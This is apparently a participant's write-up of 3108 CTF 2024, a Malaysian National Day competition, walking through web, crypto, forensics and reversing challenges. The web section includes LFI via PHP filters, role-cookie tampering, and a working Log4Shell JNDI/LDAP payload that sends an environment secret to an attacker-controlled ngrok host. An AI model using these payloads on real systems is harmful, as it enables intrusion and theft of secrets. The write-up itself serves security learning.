Post

3108 CTF 2024: Kembara Tuah

3108 CTF is a Malaysian CTF organized by Bahtera Siber, themed around National Day. This is my first time joining the event, and I got to solve a few challenges. 🇲🇾🇲🇾🇲🇾

3108 CTF 2024: Kembara Tuah

Web

Sultan yang hilang

Sultan yang hilang I discover the API endpoint to fetch sultan information from the source HTML.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const sultanYears = [1763, 1795, 1800, 1835, 1837, 1886, 1890, 1899, 1920, 1944, 1960, 1979, 2010];

sultanYears.forEach(year => {
    fetch(`/api/v1/sultan/${year}`)
        .then(response => response.json())
        .then(data => {
            const list = document.getElementById('sultan-list');
            const listItem = document.createElement('li');
            if (data.error) {
                listItem.textContent = `${data.error}`;
            } else {
                listItem.textContent = `${data.nama}`;
            }
            list.appendChild(listItem);
        })
        .catch(error => console.error('Error:', error));
});

I’ll grab a list of years of the Kelantan sultans’ reign from Wikipedia.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1721
1733
1734
1739
1746
1756
1758
1763
1795
1800
1835
1837
1886
1889
1890
1899
1920
1944
1960
1979
2010

Then, I’ll fuzz the year parameter and find the flag in one of the responses.

1
$ for i in $(cat sultanYears.txt); do curl -s https://f2add8dd3a.bahterasiber.my/api/v1/sultan/$i; done

Flag: 3108{putera_sulong_Sultan_Ahmad}

Selangorku

Visiting the website gives us a 404 Forbidden. However, I discover that the website expects the User-Agent header to be set to curl. Making a request with curl gives us a 200 OK.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ curl https://6654c734cc.bahterasiber.my/
<!DOCTYPE html>
<html lang="ms">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sejarah Penubuhan Negeri Selangor</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <h1>Sejarah Penubuhan Negeri Selangor</h1>
    <p>Negeri Selangor merupakan salah satu negeri yang terletak di Pantai Barat Semenanjung Malaysia. Negeri ini terkenal dengan kekayaan sejarah dan budaya yang pelbagai.</p>

    <h2>Daerah-daerah di Selangor:</h2>
    <ul>
        <li><a href="/hulu_langat.html">Hulu Langat</a></li>
        <li><a href="/klang.html">Klang</a></li>
        <li><a href="/kuala_langat.html">Kuala Langat</a></li>
        <li><a href="/kuala_selangor.html">Kuala Selangor</a></li>
        <li><a href="/petaling.html">Petaling</a></li>
        <li><a href="/sabak_bernam.html">Sabak Bernam</a></li>
        <li><a href="/sepang.html">Sepang</a></li>
        <li><a href="/gombak.html">Gombak</a></li>
        <li><a href="/hulu_selangor.html">Hulu Selangor</a></li>
    </ul>
</body>
</html>

I find the flag in one of the pages.

1
2
3
$ for i in $(cat selangor.txt); do curl -v https://6654c734cc.bahterasiber.my/$i | grep '3108{'; done
...[SNIP]...
   <p>Flag: 3108{S3lang0r_temp4t_kelahiran_ku}</p>

Flag: 3108{S3lang0r_temp4t_kelahiran_ku}

Merdeka

Merdeka home page

The website has 3 songs and their lyrics.

1
2
3
<a href="javascript:void(0)" onclick="setPage('tanggal31.html')">Tanggal 31</a>
<a href="javascript:void(0)" onclick="setPage('keranamu.html')">Keranamu Malaysia</a>
<a href="javascript:void(0)" onclick="setPage('jalurgemilang.html')">Jalur Gemilang</a>

In the source HTML, I see that the lyrics are just HTML included into the page. My initial idea here was to fuzz the filename for other lagu patriotisme like this year’s song, that didn’t work out as planned… ( ̄□ ̄;)

1
2
3
4
5
function setPage(page) {
        const encodedPage = btoa(page);
        document.cookie = "page=" + encodedPage + ";path=/";
        location.reload();
    }

setPage takes in the page name, sets its b64 value in the cookie and reloads the page. The next thing to check for here is LFI, I’ll use the browser’s console here to test different includes in setPage.

LFIetc/passwd Including /etc/passwd confirms the LFI vulnerability. Then, I tried including index.php to see how the code works.

In general, it’s not a good idea to include the page itself in LFIs since it might get stuck in recursion and crash.

LFI index.php crash

The page crashes because the size is too big. Next, I tried to circumvent this by testing for PHP filters, because the flag might be hidden a file that’s too big for the include.

phpfilter index.php We confirm that PHP filers are enabled.

After enumerating common files, I find the flag in config.php.

phpfilter config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ echo PD9waHAKJGhvc3QgPSAibG9jYWxob3N0IjsKJHVzZXJuYW1lID0gImN1YmFhbiBtZW5nZWhhY2sga2EgaXR1IjsKJHBhc3N3b3JkID0gIjMxMDh7bTRyMV9rMXQ0X3c0cmc0X24zZzRyNH0iOwokZGF0YWJhc2UgPSAiZmxhZyI7CgokY29ubiA9IG5ldyBteXNxbGkoJGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOwoKaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwp9CgplY2hvICJDb25uZWN0ZWQgc3VjY2Vzc2Z1bGx5IjsKPz4K | base64 -d
<?php
$host = "localhost";
$username = "cubaan mengehack ka itu";
$password = "3108{m4r1_k1t4_w4rg4_n3g4r4}";
$database = "flag";

$conn = new mysqli($host, $username, $password, $database);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

echo "Connected successfully";
?>

Flag: 3108{m4r1_k1t4_w4rg4_n3g4r4}

Hang Tidak Tidur Lagi?

We’re greeted with a login page and the credentials tuah:tuah are hardcoded in the source HTML.

hardcoded credentials in HTML

hang tak tidur lagi home page Our current user does not have access to the flag. I notice that the website uses a custom cookie solution to manage roles. Our current cookie is set to JRAUWU2BJVAU4QI%3D, which appears to be a URL-encoded base32 value. I’ll URL decode, and base32 decode the cookie to get the string LAKSAMANA.

From the challenge description:

Tetapi, semasa ke Istana untuk bertemu dengan Pembesar Berempat yang lain, Hang Tuah telah tidur kerana kepenatan berfikir.

The hint about Pembesar Berempat suggests us to change our role to other Pembesar. Quick search online on Pembesar Berempat Kesultanan Melayu Melaka returns the following:

Baginda dibantu oleh empat pembesar yang dikenali sebagai Pembesar Berempat. Mereka terdiri daripada Bendahara, Penghulu Bendahari, Temenggung dan Laksamana.

I’ll base32 encode and URL encode the remaining 3 roles, and test for IDOR in the role cookie.

1
2
3
IJCU4RCBJBAVEQI%3D
KBCU4R2IKVGFKICCIVHEIQKIIFJES%3D%3D%3D
KRCU2RKOI5DVKTSH

We successfully login as the other roles, and obtain a piece of the flag. Join the pieces to retrieve the flag.

Flag: 3108{1d0R_s4nGa7l4h_Bah4y4!}

zZzZz

Answer the Sejarah question and we get the cipher 0x33z0x31z0x30z0x380x7bz0x37z0x30z0x30z0x650x66z0x34z0x61z0x37z0x39z0x39z0x350x39z0x360x31z0x350x62z0x360x37z0x650x61z0x35z0x32z0x39z0x37z0x65z0x37z0x32z0x350x63z0x300x36z0x65z0x7dz

The hex values are padded with ‘z’s, remove them and decode the hex to retrieve the flag. Flag: 3108{700ef4a79959615b67ea5297e725c06e}

Wordle Bahasa Utaqa

Wordle bahasa utaqa Wordle game that only accepts words shown in the challenge description. I don’t know how to play wordle so I just did multiple attempts 🦍, and noticed that the correct word was always the same each round.

Answer KALUT to retrieve the flag.

Flag: 3108{h4ng_m3m4ng_s3mp0i}

Seri Gumum

Seri gumum landing page

The website serves 3 API endpoints, and they are not vulnerable to injection.

When I tried doing a path traversal in the tempat parameter, I triggered a stack trace which confirms that we are dealing with a Java application.

Stack trace

You could have also discovered that the application is using Spring Boot by triggering the default Whitelabel error page when visiting a page that does not exist.

Whitelabel error page

Since this is Spring Boot, we can enumerate for actuators to discover additional info.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -s http://103.28.91.24:8080/actuator | jq
{
  "_links": {
    "self": {
      "href": "http://103.28.91.24:8080/actuator",
      "templated": false
    },
    "info": {
      "href": "http://103.28.91.24:8080/actuator/info",
      "templated": false
    }
  }
}

We only have the info actuator available to us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl -s http://103.28.91.24:8080/actuator/info | jq
{
  "application": {
    "name": "Aplikasi Sri-Gumum",
    "description": "Aplikasi ini terinspirasi daripada Naga Sri Gumum"
  },
  "git": {
    "message": "Hi Developers, the secret SECRET_TOKEN has been configured at the system environment to avoid any hardcoded in out git repository"
  },
  "pom": {
    "library": {
      "logging": "spring-boot-starter-log4j2",
      "logging-version": "2.6.1",
      "actuator": "spring-boot-starter-actuator",
      "actuator-version": "LATEST",
      "logging-api": "org.apache.logging.log4j",
      "logging-api-version": "2.14.1"
    }
  }
}

The info actuator gives us a lot of clues to work with:

  1. The secret SECRET_TOKEN is stored in environment variable. We will have to read environ file or get code execution on the server.
  2. Log4j 2.14.1 is being used for logging, which is vulnerable to Log4Shell (CVE-2021-44228).

I’ll test for the Log4j vulnerability by making a DNS request to myself.

DNS hit

We get a hit on Colaborator from the server, which highly suggests that the version of Log4j is vulnerable.

Normally, I’d use the exploit from here, but setup is going to be a pain because I only have the free plan for ngrok which only allows me to tunnel one connection.

Instead, since we only need to read the SECRET_TOKEN, we can leak the environment variable through EnvironmentLookup. This would only require us to setup one TCP tunnel for the LDAP server.

The easiest method I found to setup an LDAP server is to use slapd. I followed the instructions from this thread, and used the following configuration for logging.

1
2
3
4
dn: cn=config
changetype: modify
replace: olcLogLevel
olcLogLevel: stats

After applying the configurations, restart the slapd service and you should be able to read your LDAP logs from /var/log/slapd.log.

Then, start an ngrok tunnel on port 389.

1
$ ngrok tcp 389

Finally, leak the flag by making an LDAP request to our server.

1
$ curl http://103.28.91.24:8080/sejarah?tempat=%24%7Bjndi%3Aldap%3A%2F%2F0%2Etcp%2Eap%2Engrok%2Eio%3A17699%2F%24%7Benv%3ASECRET%5FTOKEN%7D%7D
1
2
3
4
5
6
7
8
9
10
11
$ tail /var/log/slapd.log
[30-08-2024 05:30:15] slapd debug  conn=1005 op=2 UNBIND
[30-08-2024 05:30:15] slapd debug  conn=1005 fd=12 closed
[30-08-2024 05:30:15] slapd debug  conn=1006 fd=12 ACCEPT from IP=[::1]:47346 (IP=[::]:389)
[30-08-2024 05:30:15] slapd debug  conn=1006 op=0 BIND dn="" method=128
[30-08-2024 05:30:15] slapd debug  conn=1006 op=0 RESULT tag=97 err=0 qtime=0.000028 etime=0.000204 text=
[30-08-2024 05:30:15] slapd debug  conn=1006 op=1 do_search: invalid dn: "3108{log4j_Sri_GuMum_Pahang}"
[30-08-2024 05:30:15] slapd debug  conn=1006 op=1 SEARCH RESULT tag=101 err=34 qtime=0.000089 etime=0.000271 nentries=0 text=invalid DN
[30-08-2024 05:30:15] slapd debug  conn=1006 op=2 UNBIND
[30-08-2024 05:30:15] slapd debug  conn=1006 fd=12 closed
[30-08-2024 05:30:15] slapd debug  connection_read(12): no connection!

Flag: 3108{log4j_Sri_GuMum_Pahang}

Crypto

Mesej Rahsia

Challenge says to just run the script. :D

1
2
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z='j','b','a','c','m','n','i','p','o','q','r','t','x','z','v','s','u','y','h','g','d','e','f','k','l','w'
flag=((3108,"{",p,q,b,p,l,g,l,q,l,v,"_",d,g,h,s,v,k,"_",l,v,m,l,"}")[::-1])

The script returns the flag in reversed order. To solve, reverse and join the tuple to a string.

1
2
3
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z='j','b','a','c','m','n','i','p','o','q','r','t','x','z','v','s','u','y','h','g','d','e','f','k','l','w'
flag=((str(3108),"{",p,q,b,p,l,g,l,q,l,v,"_",d,g,h,s,v,k,"_",l,v,m,l,"}"))
print("".join(flag))

Flag: 3108{substitute_cipher_text}

Tanpa Nama 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def xor_with_binary(binary_str, xor_str):
    binaries = binary_str.split()
    xor_num = int(xor_str, 2)
    xor_results = []
    for b in binaries:
        num = int(b, 2)
        result_num = num ^ xor_num
        xor_results.append(format(result_num, '08b'))
    return ' '.join(xor_results)

binary_str = "01010110 01010100 01010101 01011101 00011110 00110110 01010100 00101000 00110101 00101001 01010110 00111010 00100110 00110111 00110101 00111100 00110001 01010101 00111010 00100110 00101101 00100100 00101001 00101001 00100000 00101011 00100010 00100000 00011000"
xor_str = "01100101"

print(xor_with_binary(binary_str, xor_str))

The program performs a XOR operation between the two strings, and returns it to us.

1
00110011 00110001 00110000 00111000 01111011 01010011 00110001 01001101 01010000 01001100 00110011 01011111 01000011 01010010 01010000 01011001 01010100 00110000 01011111 01000011 01001000 01000001 01001100 01001100 01000101 01001110 01000111 01000101 01111101

I’ll decode the binary to retrieve the flag.

Flag: 3108{S1MPL3_CRPYT0_CHALLENGE}

Pandak Lam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Snxgbe craragnatna Qngb Znunenwn Yryn
Zratnzovy unx zrathgvc phxnv. 
24Whynv1875 Ovepu zrznxfn Fhygna Noqhyynu zranaqngnatnav cratvflgvunena 
lnat zrzobyruxna Oevgvfu zratnzovy unx zrathgvc phxnv.
Fhygna Noqhyynu qvhthg nxna qvghehaxna gnxugn wvxn rattna zranaqngnatnav cratvflgvunena grefrohg. 
Ovepu zrzonxne ehznu Enwn Atnu Benat Orfne Crenx xrenan zrarehfxna xhgvcna phxnv qv Ovqbe.
Zrapnone Xrghnana Zrynlh.
Xrznenuna Fhygna qna crzorfne Crenx zrzhapnx cnqn 2Bxgbore1875.
Fhygna Noqhyynu qvcnxfn zranaqngnatnav fheng cralrenuna xhnfn xrcnqn Oevgvfu. 
Xhnfn zragnqove artrev qvfrenuxna xrcnqn Erfvqra lnat orexhnfn zrynagvx unxvz, zrathehfxna 
phxnv qna zrynagvx cratuhyh.
Zrzcrexranyxna Phxnv Oneh Ovepu oregvaqnx frfhxn ungv qratna zrzcrexranyxna phxnv oneh frcregv phxnv 
cnqv, crenuh ngnc, frawngn qna onlnena crezvg haghx zrzonynx. 3108x3o4atx1gnac4uy4j4a Frgvnc vfv ehznu creyh
zrzonlne 2Qbyne frontnv phxnv xrynzva. Zrapnohyv Nqng Erfnz Ovepu qvorapv byru fhygna qna 
crzorfne-crzorfne Crenx ncnovyn zratunenzxna fvfgrz creunzonna lnat zrawnqv nqng erfnz Zrynlh 
Ovepu fratnwn zravzohyxna xrznenuna benat Zrynlh qratna zralvzcna unzon-unzon crerzchna qv ehznualn.na zralvzcna unzon-unzon crerzchna qv ehznualn.

Text is in ROT13.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Faktor penentangan Dato Maharaja Lela
Mengambil hak mengutip cukai. 
24Julai1875 Birch memaksa Sultan Abdullah menandatangani pengisytiharan 
yang membolehkan British mengambil hak mengutip cukai.
Sultan Abdullah diugut akan diturunkan takhta jika enggan menandatangani pengisytiharan tersebut. 
Birch membakar rumah Raja Ngah Orang Besar Perak kerana meneruskan kutipan cukai di Bidor.
Mencabar Ketuanan Melayu.
Kemarahan Sultan dan pembesar Perak memuncak pada 2Oktober1875.
Sultan Abdullah dipaksa menandatangani surat penyerahan kuasa kepada British. 
Kuasa mentadbir negeri diserahkan kepada Residen yang berkuasa melantik hakim, menguruskan 
cukai dan melantik penghulu.
Memperkenalkan Cukai Baru Birch bertindak sesuka hati dengan memperkenalkan cukai baru seperti cukai 
padi, perahu atap, senjata dan bayaran permit untuk membalak. 3108k3b4ngk1tanp4hl4w4n Setiap isi rumah perlu
membayar 2Dolar sebagai cukai kelamin. Mencabuli Adat Resam Birch dibenci oleh sultan dan 
pembesar-pembesar Perak apabila mengharamkan sistem perhambaan yang menjadi adat resam Melayu 
Birch sengaja menimbulkan kemarahan orang Melayu dengan menyimpan hamba-hamba perempuan di rumahnya.an menyimpan hamba-hamba perempuan di rumahnya.

Flag: 3108{k3b4ngk1tanp4hl4w4n}

Misc

Sembunyi

We’re given rahsia.txt for this challenge, but open reading it, the file is empty and contains only whitespaces.

Reading the hexdump of the file, we see a repeating pattern of 20 and 09, which appears to be binary (0, 1).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
00000000  20 20 20 20 09 09 20 20  09 09 0a 09 0a 20 20 20  |    ..  .....   |
00000010  20 20 20 09 09 20 20 20  09 0a 09 0a 20 20 20 20  |   ..   ....    |
00000020  20 20 09 09 20 20 20 20  0a 09 0a 20 20 20 20 20  |  ..    ...     |
00000030  20 09 09 09 20 20 20 0a  09 0a 20 20 20 20 20 09  | ...   ...     .|
00000040  09 09 09 20 09 09 0a 09  0a 20 20 20 20 20 09 20  |... .....     . |
00000050  09 20 20 09 09 0a 09 0a  20 20 20 20 20 20 09 09  |.  .....      ..|
00000060  20 20 09 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |  .....     .. .|
00000070  20 09 20 0a 09 0a 20 20  20 20 20 09 09 20 20 20  | . ...     ..   |
00000080  20 09 0a 09 0a 20 20 20  20 20 09 09 09 20 20 09  | ....     ...  .|
00000090  20 0a 09 0a 20 20 20 20  20 09 09 20 20 20 20 09  | ...     ..    .|
000000a0  0a 09 0a 20 20 20 20 20  09 09 20 09 20 20 20 0a  |...     .. .   .|
000000b0  09 0a 20 20 20 20 20 09  20 09 09 09 09 09 0a 09  |..     . .......|
000000c0  0a 20 20 20 20 20 09 20  09 20 09 20 20 0a 09 0a  |.     . . .  ...|
000000d0  20 20 20 20 20 09 09 20  20 09 20 09 0a 09 0a 20  |     ..  . .... |
000000e0  20 20 20 20 09 09 09 20  20 09 20 0a 09 0a 20 20  |    ...  . ...  |
000000f0  20 20 20 09 09 09 20 20  09 09 0a 09 0a 20 20 20  |   ...  .....   |
00000100  20 20 20 09 09 20 20 09  09 0a 09 0a 20 20 20 20  |   ..  .....    |
00000110  20 09 09 20 09 09 20 09  0a 09 0a 20 20 20 20 20  | .. .. ....     |
00000120  09 09 20 20 20 09 20 0a  09 0a 20 20 20 20 20 09  |..   . ...     .|
00000130  09 09 20 09 20 09 0a 09  0a 20 20 20 20 20 09 09  |.. . ....     ..|
00000140  20 09 09 09 20 0a 09 0a  20 20 20 20 20 09 09 09  | ... ...     ...|
00000150  09 20 20 09 0a 09 0a 20  20 20 20 20 09 09 20 09  |.  ....     .. .|
00000160  20 20 09 0a 09 0a 20 20  20 20 20 09 20 09 09 09  |  ....     . ...|

John Hammond did a similar challenge to this in video. I’ll use the script to parse the file into 0 and 1s, decode the binary, and retreive the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re

fp = open("rahsia.txt")
c = [ x[:-1] for x in fp.readlines() ]
fp.close()

flag = []
for line in c:
    num = re.findall(r"(\s+)", line)
    if num:
        num = int(''.join(num).replace(' ', '0').replace('\t', '1'),2)
        if num in range(255):
                  flag.append(chr(num))

print ''.join(flag)

Flag: 3108{S3jarah_Ters3mbunyi_P4hang}

Jauh Bono Umohnyo

The challenge gives us 777 33 6 22 2 88_6 666 7777 8_9 2 66 8 33 3

These numbers correspond to keypresses on a phone keypad.

Flag: 3108{rembau_most_wanted}

Forensics

Pahlawan Lagenda

1
2
$ grep '3108{' ~/Desktop/Tuah.flag.txt 
order and prosperity for the whole state. 3108{gr3p_15_@w3s0m3_l4ks4m4n4} As for the consequences of

Flag: 3108{gr3p_15_@w3s0m3_l4ks4m4n4}

Kontras

Blacked out text in PDF

The PDF given has blacked out text, but we are still able to highlight them to get the plaintext.

I’ll copy everything to a notepad and find the flag.

Flag: 3108{Peghak_Darul_ridzuAn}

Linux

Cer Cari

We’re given a file that contains a list of potential flags.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat ~/Downloads/CerCari 
3108{S4b4h_1900}
3108{S4b4h_1901}
3108{S4b4h_1902}
3108{S4b4h_1903}
3108{S4b4h_1904}
3108{S4b4h_1905}
3108{S4b4h_1906}
3108{S4b4h_1907}
3108{S4b4h_1908}
3108{S4b4h_1909}
3108{S4b4h_1910}
3108{S4b4h_1911}
3108{S4b4h_1912}

The challenge description mentions about an important date. Sabah gained self-governance on 31 August 1963.

Flag: 3108{S4b4h_1963}

1
2
$ strings Makanan | grep '3108{'
3108{L4KS4_S4R4W4K}

Reverse

Sarawak Kita

1
2
$ file Sarawak_KITA.doc.bin                                                                                                     
Sarawak_KITA.doc.bin: Microsoft Word 2007+

Extracting the document file did not give me anything interesting. Next, I’ll try extracting macros using olevba.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ olevba -c ./Sarawak_KITA.doc  
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: ./Sarawak_KITA.doc
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
         ByVal hwnd As Long, _
         ByVal lpOperation As String, _
         ByVal lpFile As String, _
         ByVal lpParameters As String, _
         ByVal lpDirectory As String, _
         ByVal lpShowCmd As Long) As Long
         
 Dim command
  command = "MwAxADAAOAB7AEsAdQBjAGgAMQBuAGcAXwAxAGIAdQBfAE4AMwBnADMAcgAxAF8AUwA0AHIANAB3ADQAawB9AA=="""""
  Shell.Run command, 0, True

Sub AutoOpen()
Call ShellExecute(0, "Open", "calc.exe", "", "", 1)

End Sub

Base64 decode the command to retrieve the flag.

1
2
$ echo MwAxADAAOAB7AEsAdQBjAGgAMQBuAGcAXwAxAGIAdQBfAE4AMwBnADMAcgAxAF8AUwA0AHIANAB3ADQAawB9AA== | base64 -d
3108{Kuch1ng_1bu_N3g3r1_S4r4w4k} 

Flag: 3108{Kuch1ng_1bu_N3g3r1_S4r4w4k}

Selamat Hari Merdeka and see you at next year’s CTF ദ്ദി ( ᵔ ᗜ ᵔ )

This post is licensed under CC BY 4.0 by the author.